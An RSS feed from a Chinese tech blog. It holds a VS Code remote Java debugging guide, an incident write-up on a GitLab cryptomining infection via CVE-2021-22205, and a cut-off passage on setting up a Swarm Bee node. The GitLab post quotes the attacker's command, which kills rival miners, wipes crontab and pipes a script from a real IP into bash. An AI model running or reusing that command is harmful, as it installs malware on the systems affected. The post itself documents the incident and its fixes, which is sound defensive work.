<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>瀚海星空</title>
    <description>宇宙浩瀚, 人类渺小
</description>
    <link>http://abloz.com/</link>
    <atom:link href="http://abloz.com/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Thu, 24 Jul 2025 16:42:24 +0000</pubDate>
    <lastBuildDate>Thu, 24 Jul 2025 16:42:24 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>vscode 远程调试java</title>
        <description>&lt;h1 id=&quot;vscode-远程调试java&quot;&gt;vscode 远程调试java&lt;/h1&gt;

&lt;p&gt;vscode是一款很好用的工具，可以基本替代大多数开发工具。但对不同的语言不同环境，并不是开箱即用。需要一定的配置。&lt;/p&gt;

&lt;p&gt;本文主要是记录java远程开发配置。&lt;/p&gt;

&lt;h1 id=&quot;vscode-配置&quot;&gt;vscode 配置&lt;/h1&gt;
&lt;p&gt;vscode 的用户配置分3个级别，分别是默认配置、全局配置和工作区配置，优先级也依次递增。对于团队项目，一些规范可以通过项目目录下建一个&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.vscode/setting.json&lt;/code&gt;文件。&lt;/p&gt;

&lt;h1 id=&quot;vscode安装相关插件&quot;&gt;vscode安装相关插件&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;安装 microsoft的Extension Pack for Java
    &lt;ul&gt;
      &lt;li&gt;Language Support for Java(TM) by Red Hat&lt;/li&gt;
      &lt;li&gt;Debugger for Java&lt;/li&gt;
      &lt;li&gt;Test Runner for Java&lt;/li&gt;
      &lt;li&gt;Maven for Java&lt;/li&gt;
      &lt;li&gt;Project Manager for Java&lt;/li&gt;
      &lt;li&gt;Visual Studio IntelliCode&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;安装 microsoft remote相关插件
    &lt;ul&gt;
      &lt;li&gt;Remote Development&lt;/li&gt;
      &lt;li&gt;Remote - SSH: Editing Configuration Files&lt;/li&gt;
      &lt;li&gt;Remote - SSH&lt;/li&gt;
      &lt;li&gt;Remote - Containers&lt;/li&gt;
      &lt;li&gt;Remote - WSL&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;编辑相关sshconfig&quot;&gt;编辑相关.ssh/config&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Host mysvr
    HostName 111.194.84.170
    Port 2020
    User zhh
    IdentityFile ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;点vscode状态栏左下角远程连接，可以选择相应的远程设备，如WSL，container和SSH方式。&lt;/p&gt;

&lt;p&gt;然后就可以打开远程文件夹&lt;/p&gt;

&lt;h1 id=&quot;新建文件夹如下&quot;&gt;新建文件夹如下&lt;/h1&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkdir -p src/main/java/com/abloz&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;roottree.
├── README.en.md
├── README.md
└── src
    └── main
        └── java
            └── com
                └── abloz
                    └── main.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;用vscode打开
写一个简单的hello world，main.java&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;package com.abloz;

class Main {

    public static void main(String[] args){
        System.out.println(&quot;hello&quot;);
        
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;配置vscodelaunchjson&quot;&gt;配置.vscode/launch.json&lt;/h1&gt;
&lt;p&gt;点左侧debug按钮，生成launch.json,选择java，launch java.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
    &quot;type&quot;: &quot;java&quot;,
    &quot;name&quot;: &quot;Launch Main&quot;,
    &quot;request&quot;: &quot;launch&quot;,
    &quot;mainClass&quot;: &quot;com.abloz.Main&quot;,
    &quot;projectName&quot;: &quot;xxx&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;xxx为自动生成的project名称&lt;/p&gt;

&lt;h1 id=&quot;运行和调试&quot;&gt;运行和调试&lt;/h1&gt;
&lt;p&gt;可以通过vscode F5进行调试，添加断点。&lt;/p&gt;

&lt;h1 id=&quot;问题&quot;&gt;问题&lt;/h1&gt;
&lt;h2 id=&quot;vscode-启动vscode-server失败&quot;&gt;vscode 启动vscode server失败&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The Language Support for Java (Syntax Server) server crashed and will restart&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;因为lombok的原因，在settings.json
找到 java.jdt.ls.vmargs，删除lombok的设置：
原始版本：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;java.jdt.ls.vmargs&quot;: &quot;-XX:+UseParallelGC -XX:GCTimeRatio=4 -XX:AdaptiveSizePolicyWeight=90 -Dsun.zip.disableMemoryMapping=true -Xmx1G -Xms100m -javaagent:\&quot;/home/zhh/.vscode-server/extensions/gabrielbb.vscode-lombok-1.0.1/server/lombok.jar\&quot;&quot;,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;删除后&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;java.jdt.ls.vmargs&quot;: &quot;-XX:+UseParallelGC -XX:GCTimeRatio=4 -XX:AdaptiveSizePolicyWeight=90 -Dsun.zip.disableMemoryMapping=true -Xmx1G -Xms100m&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;或重置为下面的设置&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;java.jdt.ls.vmargs&quot;: &quot;-noverify -Xmx1G -XX:+UseG1GC -XX:+UseStringDeduplication&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;有可能需要删除插件，类似命令：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; rm /home/zhh/.vscode-server/extensions/gabrielbb.vscode-lombok-1.0.1 -rf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Fri, 10 Dec 2021 13:28:36 +0000</pubDate>
        <link>http://abloz.com/tech/2021/12/10/vscode-remote-java/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2021/12/10/vscode-remote-java/</guid>
        
        <category>ubuntu</category>
        
        <category>vscode</category>
        
        <category>java</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>gitlab中挖矿病毒应对</title>
        <description>&lt;h1 id=&quot;gitlab中挖矿病毒应对&quot;&gt;gitlab中挖矿病毒应对&lt;/h1&gt;

&lt;h1 id=&quot;概述&quot;&gt;概述&lt;/h1&gt;
&lt;p&gt;旧版gitlab可能中挖矿病毒&lt;/p&gt;

&lt;p&gt;表现为&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;CPU超高&lt;/li&gt;
  &lt;li&gt;大量的pkill进程&lt;/li&gt;
  &lt;li&gt;gitlab时而可用时而不可用，经常502&lt;/li&gt;
  &lt;li&gt;日志exitool&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;具体表现&quot;&gt;具体表现&lt;/h1&gt;
&lt;h2 id=&quot;cpu超高&quot;&gt;cpu超高&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  368 git       20   0 2752356 2.290g   4380 S 146.8 29.4  37:35.80 kthzabor
  943 git       20   0 1097568 558192  20912 S   1.3  6.8   3:10.94 bundle

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;其中kthzabor 被感染。CPU达到100%以上。&lt;/p&gt;

&lt;h2 id=&quot;大量pkill进程&quot;&gt;大量pkill进程&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@i-fph8oxp3:~# ps -ef |grep pkill
git      10913 32537  0 14:14 ?        00:00:00 /bin/bash -c pkill -9 kdevtmpfsi | pkill -9 dbused | pkill -9 kinsing | crontab -r | curl 42.112.28.216/ldr.sh | bash
git      13814  2656  0 14:15 ?        00:00:00 /bin/bash -c pkill -9 kdevtmpfsi | pkill -9 dbused | pkill -9 kinsing | crontab -r | curl 42.112.28.216/ldr.sh | bash
git      13821 32513  0 14:15 ?        00:00:00 /bin/bash -c pkill -9 kdevtmpfsi | pkill -9 dbused | pkill -9 kinsing | crontab -r | curl 42.112.28.216/ldr.sh | bash

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;可以看到下载42.112.28.216/ldr.sh 脚本。
该IP地址在越南河内。&lt;/p&gt;

&lt;h2 id=&quot;日志&quot;&gt;日志&lt;/h2&gt;

&lt;h3 id=&quot;运行日志有exiftool&quot;&gt;运行日志有exiftool&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/gitlab/gitlab-workhorse/current&lt;/code&gt;文件可以查到exiftool命令失败&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;correlation_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;eeP6E3wRUK9&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;filename&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;test.jpg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;level&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;info&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;msg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;running exiftool to remove any metadata&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;time&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2021-11-11T14:07:55+08:00&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;exiftool&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-all=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;--IPTC:all&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;--XMP-iptcExt:all&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-tagsFromFile&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-ResolutionUnit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-XResolution&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-YResolution&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-YCbCrSubSampling&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-YCbCrPositioning&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-BitsPerSample&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-ImageHeight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-ImageWidth&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-ImageSize&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-Copyright&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-CopyrightNotice&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-Orientation&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;correlation_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;eeP6E3wRUK9&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;exit status 1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;level&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;info&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;msg&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;exiftool command failed&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;stderr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;nginx访问日志&quot;&gt;nginx访问日志&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/gitlab/nginx/gitlab_access.log&lt;/code&gt;
查到攻击者IP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;51.89.237.81&lt;/code&gt;,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;165.227.239.108&lt;/code&gt;,都在英国&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;51.89.237.81 - - [12/Nov/2021:13:20:49 +0800] &quot;GET /users/sign_in HTTP/1.0&quot; 200 12708 &quot;&quot; &quot;python-requests/2.26.0&quot;
51.89.237.81 - - [12/Nov/2021:13:20:58 +0800] &quot;POST /uploads/user HTTP/1.0&quot; 422 24 &quot;&quot; &quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36&quot;
165.227.239.108 - - [12/Nov/2021:13:26:59 +0800] &quot;GET /users/sign_in HTTP/1.0&quot; 200 12708 &quot;&quot; &quot;python-requests/2.24.0&quot;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;登录日志&quot;&gt;登录日志&lt;/h3&gt;
&lt;p&gt;产品日志和授权日志可能有创建的账号
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/gitlab/gitlab-rails/production_json.log&lt;/code&gt;，&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/gitlab/gitlab-rails/auth.log&lt;/code&gt;&lt;/p&gt;

&lt;h1 id=&quot;修补办法&quot;&gt;修补办法&lt;/h1&gt;
&lt;h2 id=&quot;修改安全防范措施&quot;&gt;修改安全防范措施&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;修改ssh端口&lt;/li&gt;
  &lt;li&gt;防火墙禁止ssh非许可IP登录。&lt;/li&gt;
  &lt;li&gt;堡垒机&lt;/li&gt;
  &lt;li&gt;白名单&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;杀死病毒进程&quot;&gt;杀死病毒进程&lt;/h2&gt;

&lt;h2 id=&quot;更新gitlab&quot;&gt;更新gitlab&lt;/h2&gt;
&lt;p&gt;gilab新版已经有了补丁
不能直接在线升级，否则病毒也会在里面。&lt;/p&gt;

&lt;h3 id=&quot;修改exiftool&quot;&gt;修改exiftool&lt;/h3&gt;
&lt;p&gt;将文件替换为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/gitlab/embedded/bin/exiftool&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/bin/bash

cat -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;运行&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; chmod a+x exiftool&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;持续升级并做上面的事情，直到13.10.3+。&lt;/p&gt;

&lt;h2 id=&quot;升级&quot;&gt;升级&lt;/h2&gt;

&lt;p&gt;用下面的命令：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo su
cd ~
curl -JLO https://gitlab.com/gitlab-org/build/CNG/-/raw/master/gitlab-ruby/patches/allow-only-tiff-jpeg-exif-strip.patch
cd /opt/gitlab/embedded/lib/exiftool-perl
patch -p2 &amp;lt; ~/allow-only-tiff-jpeg-exif-strip.patch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果 patch 失败，可以根据失败日志手动修改文件。&lt;/p&gt;

&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;https://www.freebuf.com/articles/system/282954.html&lt;/li&gt;
  &lt;li&gt;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 12 Nov 2021 07:28:36 +0000</pubDate>
        <link>http://abloz.com/tech/2021/11/12/gitlab-mining/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2021/11/12/gitlab-mining/</guid>
        
        <category>gitlab</category>
        
        <category>挖矿</category>
        
        <category>病毒</category>
        
        <category>ldr.sh</category>
        
        <category>pkill</category>
        
        <category>mining</category>
        
        <category>crypto</category>
        
        <category>blockchain</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>Swarm操作实录</title>
        <description>&lt;h1 id=&quot;概述&quot;&gt;概述&lt;/h1&gt;
&lt;p&gt;本文讲述Swarm客户端Bee运行并挖矿的详细实操。作者：周海汉&lt;/p&gt;

&lt;p&gt;Swarm（蜂群） 为以太坊官方存储项目，目前已经独立出来。由以太坊三巨头Vitalik Buterin，Gavin Wood，Jeffrey Wilcke创建。 其目标是实现自主的内容网络存储和web3.0服务，并保护用户隐私。&lt;/p&gt;

&lt;p&gt;对应的币为BZZ。客户端程序叫Bee。&lt;/p&gt;

&lt;p&gt;本文在Centos 7.6下完成。ubuntu和MacOS可以适当修改相应命令。&lt;/p&gt;

&lt;h2 id=&quot;环境&quot;&gt;环境&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;CentOS 7.6&lt;/li&gt;
  &lt;li&gt;Bee-clef 用于bee客户端私钥和签名管理的程序&lt;/li&gt;
  &lt;li&gt;Bee 客户端&lt;/li&gt;
  &lt;li&gt;screen：保持远程命令行session的程序&lt;/li&gt;
  &lt;li&gt;jq：json美化命令程序&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;设置yum镜像&quot;&gt;设置yum镜像&lt;/h3&gt;
&lt;p&gt;设为阿里云&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 ~]# cd /etc/yum.repos.d/

[root@25 yum.repos.d]# curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;设置fedoral_epel&quot;&gt;设置fedoral_epel&lt;/h3&gt;
&lt;p&gt;解决部分包不存在的问题
如jq安装不了。&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 ~]# yum install -y jq
No package jq available.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd /etc/pki/rpm-gpg
wget https://archive.fedoraproject.org/pub/epel/RPM-GPG-KEY-EPEL-7
curl -o RPM-GPG-KEY-EPEL-7 https://archive.fedoraproject.org/pub/epel/RPM-GPG-KEY-EPEL-7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vi /etc/yum.repo.d/epel.repo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;[epel]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Extra Packages for Enterprise Linux 7 - $basearch&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;metalink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;https://mirrors.fedoraproject.org/metalink?repo=epel-7&amp;amp;arch=$basearch&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;failovermethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;priority&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;gpgcheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;gpgkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;安装相关软件&quot;&gt;安装相关软件&lt;/h1&gt;
&lt;h2 id=&quot;安装screen&quot;&gt;安装screen&lt;/h2&gt;
&lt;p&gt;这是一个让进程不退出的程序&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[root@25 ~]# yum install -y screen
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;创建会话&quot;&gt;创建会话：&lt;/h3&gt;
&lt;p&gt;如指定会话名称为clef&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;screen -S clef
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;恢复&quot;&gt;恢复：&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;screen -r clef
如果只有一个会话：
screen -r
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;查看会话&quot;&gt;查看会话&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;screen -ls
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;遇到错误恢复screen时会出现There is no screen to be resumed matching xxx
执行&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;screen -d xxx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;再执行恢复&lt;/p&gt;
&lt;h3 id=&quot;退出screen&quot;&gt;退出screen&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;exit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;其他命令和快捷键&quot;&gt;其他命令和快捷键&lt;/h3&gt;
&lt;p&gt;将当前在另一个终端attach的会话强制退出，在当前终端接管：screen -d name screen -r name&lt;/p&gt;

